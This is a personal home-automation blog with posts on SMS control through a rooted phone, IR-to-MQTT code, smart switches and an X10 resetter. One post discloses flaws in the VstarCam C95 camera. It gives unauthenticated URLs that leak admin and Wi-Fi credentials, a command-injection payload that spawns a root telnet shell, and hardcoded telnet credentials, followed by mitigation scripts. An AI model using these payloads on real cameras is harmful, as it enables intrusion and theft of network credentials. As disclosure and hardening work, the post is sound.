Saturday, 7 October 2017

SMS for automation

So the power is out or the internet is down and you still want to be able to control or check on your home, how can you do this??

Answer: Pay as you go plan and a old rooted cell phone!

Required Parts:
- Old Android cell phone (You can get a Nexus 4 with a damaged screen cheap)
- Pay as you go plan (7-11 has a great plan which only costs $25 a year and has unlimited inbound texts)
- UPS to keep your PC up and running during a power failure

Step 1:
Root your phone & enable ADB.
There are a ton of guides out there on how to get root access on almost any phone.
You should turn off logging in SuperSU or it will eventually wreck your flash.
Authorize your PC and make sure the shell has always granted root permissions.

Step 2:
Install SQLite and ShellMS APKs linked here since they can be tough to find.
SQLite will be required to read the SMS database and ShellMS will allow you to send texts in the background without user interaction.
I could not find anyone with a copy of the ShellMS APK, I had to compile it myself from source.  I will link it in here so no one else has to go through the trouble I did.

Step 3:
Write up some code to handle messages sent by SMS. 

To send a SMS use the following command:
adb.exe shell am startservice --user 0 -n com.android.shellms/.sendSMS -e contact <phonenumber> -e "<message>"

To check the SMS database:
For unread messages only:
adb.exe shell "su -c \'sqlite3 /data/data/com.android.providers.telephony/databases/mmssms.db \\"select * from sms where read = 0 order by date asc;\\"\'"

For all messages:
adb.exe shell "su -c \'sqlite3 /data/data/com.android.providers.telephony/databases/mmssms.db \\"select * from sms order by date asc;\\"\'"

Monday, 28 August 2017

HRV Hijinks and other quick projects

This will be a pretty short post since this isn't really much of a hack and there isn't much to it...

I got a new LifeBreath HRV and the wall control left a little to be desired, and I am too cheap to spend $100 on a digital one WTF is in there you could get a cheap 7" tablet for less than $100 but I digress.

Anyway my control lacked a easy way to set high speed mode and has no timer whatsoever. I had a spare relay on my Pi from my X10 resetter project so I wired the ON and HIGH lines into it and created a MQTT control program which would switch the relay on and off after a specified period of time.  The code is pretty simple but if you want a copy just leave a comment.

Another thing I did was got a few Amazon Echo Dots.  I have an existing web API I can call with commands so I just setup Fauxmo to emulate Wemo devices and I can now control all my automation stuff through Alexa.

Sunday, 27 August 2017

VstarCam C95 Insecurity

So the following exploits work on the VstarCam C95

Get Admin Credentials and Config file without authentication:
http://camurl:port/system.ini?loginuse&loginpas
This file contains plain-text username and password for the admin account along with the unique ID of the camera.

http://camurl:port/network.ini?loginuse&loginpas
Will give you the local network config, SSID and WPA key.

Run arbitrary commands once authenticated:

Note: Change the admin username/password to what you got from the file above, this code will open a non password protected telnet server on port 25
http://camurl:port/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0
http://camurl:port/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin

However VstarCam was nice enough to leave a telnet server running with the following credentials:

Username: vstarcam2015                               password: 20150602

Mitigation:

WARNING!! IF YOU DON'T UNDERSTAND WHAT THESE SCRIPTS ARE DOING OR MAKE A MISTAKE YOU COULD EASILY BRICK YOUR DEVICE. THE CHANGES I MADE PERSISTED THROUGH A FACTORY RESET!! YOU HAVE BEEN WARNED!! IF YOU BREAK YOUR DEVICE YOU CAN KEEP BOTH HALVES, I TAKE NO RESPONSIBILITY!!!!!!

You can mitigate most of these problems with some simple startup scripts... There will be a race condition at bootup however where your system is vulnerable... Once started however you can make it so remote users can't get your login and network creds and you can change your telnet password.

Tomorrow I will look at setting up firewall rules to block connections to the web server until the config files are deleted.

Start by coping /system/www/network.ini and /system/www/settings.ini to /system/init/

Create the following files in /system/init/

Undelete.sh (This runs on startup and puts stuff back so it can get on the wifi and the web server can load the proper username and password)

MAKE SURE TO CHANGE THE <YOUR ROOT HASH HERE> part to a valid password hash or you will lock yourself out!
Undelete.sh:
cp /system/init/system.ini /system/www/
cp /system/init/network.ini /system/www/
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 10
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 10
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 10
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 30
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd

/system/init/delete.sh &

delete.sh will run and remove the ini files from the www directory after the system has started... it runs over and over until it doesn't find either file then exits. Then it waits and checks if the files come back every 30 seconds and removes them again.


delete.sh:
if [ -e /system/www/network.ini ]
then
        echo "ok"
        rm /system/www/system.ini
        rm /system/www/network.ini
        sleep 3
        /system/init/delete.sh &


    else
        echo "nok"
fi


if [ -e /system/www/system.ini ]
then
        echo "ok"
        rm /system/www/system.ini
        rm /system/www/network.ini
        sleep 3
        /system/init/delete.sh &
else
        sleep 30
        /system/init/delete.sh &
        exit
fi


exit


Finally modify your ipcam.sh file to run undelete...


ipcam.sh:
export PATH=/system/system/bin:$PATH
telnetd
export LD_LIBRARY_PATH=/system/system/lib:/mnt/lib:$LD_LIBRARY_PATH
mount -t tmpfs none /tmp -o size=3m

/system/init/undelete.sh &

/system/system/bin/upgrade &

/system/system/bin/wifidaemon


As an added measure I've hex edited the /system/system/bin/encoder executable and changed the names of set_ftp.cgi and ftptest.cgi to random characters since I don't use FTP functions anyway.  Though this isn't perfect it will prevent any automated scripts and script kiddies from getting root on my device.


I may also experiment with changing the system.ini file name in the binary as well as the loginuse and loginpas strings so my device will be very different from all the other ones out there, thus further obfuscating this attack surface. I will update this post once I have time to do this.

As a side note I have got much more reliable connections to my camera as well as less random reboots since I made these changes, I'm not sure why at this point, but I'm much happier with it now that it's slightly less vulnerable and more reliable.

Sunday, 4 June 2017

Die X10 Die (The X10, The) or How I switched to Lutron Casetta

So I finally did it!

I replaced my last X10 power line device (I still have some X10 RF motion sensors and keypads for the time being).   Probably a good thing too since when I pulled the switch out it had broken in half...

I got the Lutron Casetta dimmer kit from Home Depot. This included a wire in dimmer switch, a mini remote and the wired hub plus all the required hardware.

The wire in dimmer works with LED, incandescent and halogen loads and does not use a neutral wire.  It has 4 buttons on it: On, Brighter, Dimmer and Off and it also has a row of LEDs to indicate the current brightness.   It comes with a screwless (clip on) face plate with a plastic surround which I assume would go in a single gang box as assembled, I needed to put mine in a double gang box so I had to unclip the face plate and unscrew the plastic bezel and it fits perfectly in a standard Decora style cover plate.     It comes with 3 wire nuts (source, load and ground) and mounting screws to attach it to your electrical box.   It's considerably deeper than a regular switch, but smaller than a GFCI or the X10 module I had in there.

Installation is a breeze.  Turn off the breaker, remove the old switch, connect the line and load wires from the old switch to the wires coming out of the Lutron switch with the included wire nuts (You can connect the ground wire if you want but it's just crimped to the part that connects to the box so as long as your box is grounded it should be OK), then use the included screws to attach it to the box and finally clip the face plate on and turn the power back on. So easy even a caveman could do it!

The pico remote is the same size as the paddle of a Decora switch, it's relatively thin and runs on an included coin cell battery (probably a CR2032). It has all the same buttons as the main switch with the addition of a round button between the dimmer buttons which sets the brightness to 50% and a single LED.

It comes attached to a clear wall mounting clip with mounting tape on it. This allows it to be used as a "stick a switch" but can also be easily removed by sliding it out of the holder for portable use and to change batteries.

The last included piece is the wired hub.  It is a little white box and it has a strip along it that lights up white.  It comes with a power adapter, and a network cable.  (It does not support Wi-Fi).  Once you power the hub up and plug it into your network you can download the Lutron app for your phone or tablet and it will locate it and instruct you to press the button on the back of the hub to authorize your phone.

Once the basic setup is complete you will be prompted to pair your devices...  This involves going to the device (remote, wall switch, whatever) and holding the off button for 10 seconds until the lights flash quickly.  They will then be added to your app/hub after you give it a name.

You can assign the remote to scenes or individual devices via the app as well you can touch the light for an on screen remote with an on, off and a dimmer slider for any light on your system.  As well you can program timers with fairly granular control within the app. (Your remote and app can also be paired to work with Sonos systems, some Honeywell smart thermostats and other smart devices)

I've had no range issues and they give you ways of adding plug in modules to repeat the signal if you do run into trouble.

As far as hacking and integration goes, it seems there is a pro version which lets you enable telnet to send and receive commands but this kit seems to only include the standard version.

Fortunately the internets have come to the rescue and given us a certificate for logging into the SSH interface (there is no shell sadly, it's just a raw API type interface over SSH).

I have installed the library "pylutron_caseta" and got it working to the point where it can send and receive commands from the hub.  I get updates every time the switch changes state and can send a level from 0 to 100 (0 being off, 100 being on and 1-99 being a dim level) to control it.

I publish the state of this light to MQTT so my existing infrastructure can read it's current status as well as accept commands via MQTT to set the brightness level.  I also handle my MQTT switch I made earlier within this app the minimize delays and the switch works almost instantly now vs the 1-3 second delay with the old X10 system.

I'm not going to bother posting the code at this point since it's mostly just calling the module with a little bit of magic sauce for the MQTT stuff to work.  If you ended up here looking for a code example just leave me a comment and I will post my code.

Since it works in conjunction with my automation system as well as a motion detector the switch acts similar to a 3-way switch so flipping the switch will toggle the lights to the opposite state rather than having a static on/off position like a normal switch (though I do transmit the physical location of the switch to MQTT so I could easily change that).  When the lights are in a dimmed state, the first flip of the switch will bring the lights to full brightness and then toggle from there on out until they are dimmed again.

And now for the video of the new system working:





Wednesday, 19 April 2017

X10 CM19A Hard Resetter Kludge



I have an X10 CM19A USB Transceiver. This lets me send and receive X10 RF signals.. Though I am slowly phasing out my X10 stuff, I have a bunch of stuff I still use that's RF (only 1 powerline device which is next on the list to be replaced). My switches and motion detectors will probably stick around for another few years...

I stripped the antenna and added on a wire running to my duct work, this improved the range significantly!

This device works pretty well, but every so often it stops sending/receiving data from the PC and there's pretty much no way to tell when this happens... This problem persists through a system reboot and is only resolved with an unplug and replug. The issue seems to crop up after a few days to weeks of perfectly fine usage.

I tried to get Windows to turn off the device in software to no avail..

My solution was to automate powering the device down and resetting it...

I got a 2 port relay board and wired it to 5v, GND and 2xGPIO ports on my Raspi.

I also got a USB extension cable and carefully cut it open (It helps if you get a high quality cable, the wires aren't so thin).  I pulled the Red +5v wire out of the twisted set and cut it, then wrapped the rest of the wires in foil tape.  I then added 2 extension wires to either end and put the extension into the NC side of the relay board.

Keeping the inputs high normally keeps the relay off thus leaving the CM19a on, and a scheduled cron job in line with my system reboot time sets the GPIO pin low for 10 seconds to reset the device, then brings it back to high.

IR2MQTT



I wanted a good solution for using my Harmony IR remote with my automation PC for controlling lights and other functions but there isn't a great low cost option since the actual PC is in the basement and the receiver is in my living room...

I have a USB extender and a USB receiver and a remote that only works with the 10 button remote it came with, it also acts as a HID device and Windows won't let me see which keyboard sent the keystrokes or capture them without being in the foreground...

Enjoying my Wemos D1 clone so much, I ordered 4 more :P   I also found out how to properly address the pins, you use D# instead of just an int with a standard Arduino.

I also got this IR receiver kit for less than $2.

Connecting it with the included wires was simple:
+ to 5v, - to GND and S to D4

The following sketch will broadcast the codes as numeric string to the MQTT topic IR2MQTT
You need to set your server IP in the code, then power it up, and it will broadcast a WiFi network for initial setup.

You just need to build a receiver to find codes you care about and then preform an action.
Just subscribe to the topic and press the button on your remote a few times until you see a common code...

/*
 *  IR 2 MQTT with $2 IR module kit
 *
 */

#include <ESP8266WiFi.h>
#include <PubSubClient.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>
#include <WiFiManager.h>
#include <IRremoteESP8266.h>

const char* ssid = "...";   // Not used using WiFiManager
const char* password = "...";  // Not used using WiFiManager



int RECV_PIN = D4; //an IR detector connected to D4

IRrecv irrecv(RECV_PIN);

decode_results results;



//const char* mqtt_server = "broker.mqtt-dashboard.com";    // Public Broker
const char* mqtt_server = "YOUR LOCAL SERVER IP HERE";
WiFiClient espClient;
PubSubClient client(espClient);
long lastMsg = 0;
char msg[50];
int value = 0;

void setup_wifi() {

  delay(10);
  // We start by connecting to a WiFi network
  Serial.println();
  Serial.print("Connecting to ");
  Serial.println(ssid);

  //WiFi.begin(ssid, password);
   WiFiManager wifiManager;
   wifiManager.autoConnect("AutoConnectAP");

  while (WiFi.status() != WL_CONNECTED) {
    delay(500);
    Serial.print(".");
  }

  randomSeed(micros());

  Serial.println("");
  Serial.println("WiFi connected");
  Serial.println("IP address: ");
  Serial.println(WiFi.localIP());  
  irrecv.enableIRIn(); // Start the receiver

}

void callback(char* topic, byte* payload, unsigned int length) {
  Serial.print("Message arrived [");
  Serial.print(topic);
  Serial.print("] ");
  for (int i = 0; i < length; i++) {
    Serial.print((char)payload[i]);
  }
  Serial.println();

  // Switch on the LED if an 1 was received as first character
  if ((char)payload[0] == '1') {
    digitalWrite(BUILTIN_LED, LOW);   // Turn the LED on (Note that LOW is the voltage level
    // but actually the LED is on; this is because
    // it is acive low on the ESP-01)
  } else {
    digitalWrite(BUILTIN_LED, HIGH);  // Turn the LED off by making the voltage HIGH
  }

}

void reconnect() {
  // Loop until we're reconnected
  while (!client.connected()) {
    Serial.print("Attempting MQTT connection...");
    // Create a random client ID
    String clientId = "ESP8266Client-";
    clientId += String(random(0xffff), HEX);
    // Attempt to connect
    if (client.connect(clientId.c_str())) {
      Serial.println("connected");
      // Once connected, publish an announcement...
      //client.publish("outTopic", "hello world");
      // ... and resubscribe
      client.subscribe("inTopic");
    } else {
      Serial.print("failed, rc=");
      Serial.print(client.state());
      Serial.println(" try again in 5 seconds");
      // Wait 5 seconds before retrying
      delay(5000);
    }
  }
}

void setup() {

  Serial.begin(115200);

  // Bring up MQTT
  pinMode(BUILTIN_LED, OUTPUT);     // Initialize the BUILTIN_LED pin as an output
  setup_wifi();
  client.setServer(mqtt_server, 1883);
  client.setCallback(callback);




}

void loop() {
  // MQTT
 if (!client.connected()) {
    reconnect();
  }
  client.loop();



  // IR

    if (irrecv.decode(&results)) {
    //Serial.println(results.value, HEX);
    unsigned long buffer;
    buffer = results.value;
    String numberString = String(buffer);
    char charBuf[50];
    numberString.toCharArray(charBuf, 50);
 
    Serial.println(buffer);
 
    client.publish("IR2MQTT",  charBuf);
    irrecv.resume(); // Receive the next value
  }

  }

Monday, 10 April 2017

Prototype Switch

This is a prototype switch I have started working on...

It was based on this guys work: http://www.echotwek.com/wp/2014/03/20/arduino-controlled-light-switch-v2

I had a Leviton Decora switch P/N 5601 from Home Depot lying around and I was going to try this mod, when I popped the rocker off with a flat blade screwdriver I noticed there were rivet holes drilled right through from behind the rocker all the way out the back cover and grounded.

I took 2 pieces of DuPont connector wire I had for my Arudino projects and hot glued one to the top half and one to the bottom half of the back side of the rocker plate.  I did not cut, or modify the switch in any way other than putting the wire through and adding some glue to the plastic paddle.

The final plan would be to replace the wire with something non conductive like fishing line and then make two tiny holes in  the back end of an electrical box and hot glue the servo to the outside back of the box.  This way the whole thing would be non-conductive should it break loose, and the low voltage servo and micro controller would not be in the same box as the high voltage switch... This also alleviates the problem of trying to cram a servo into a tiny electrical box.

I'm not 100% sure this is to code, but since all the modifications are non conductive and the LV stuff is outside the box it should be relatively safe.

I DO NOT RECOMMEND ANYONE TRY THIS AS IT IS PROBABLY AGAINST SOME KIND OF CODE AND TAKE NO RESPONSIBILITY IF YOUR HOUSE BURNS DOWN OR YOUR DIE!!!!

Here's a video of it in action:
https://www.youtube.com/watch?v=BXbQ4DRkqv0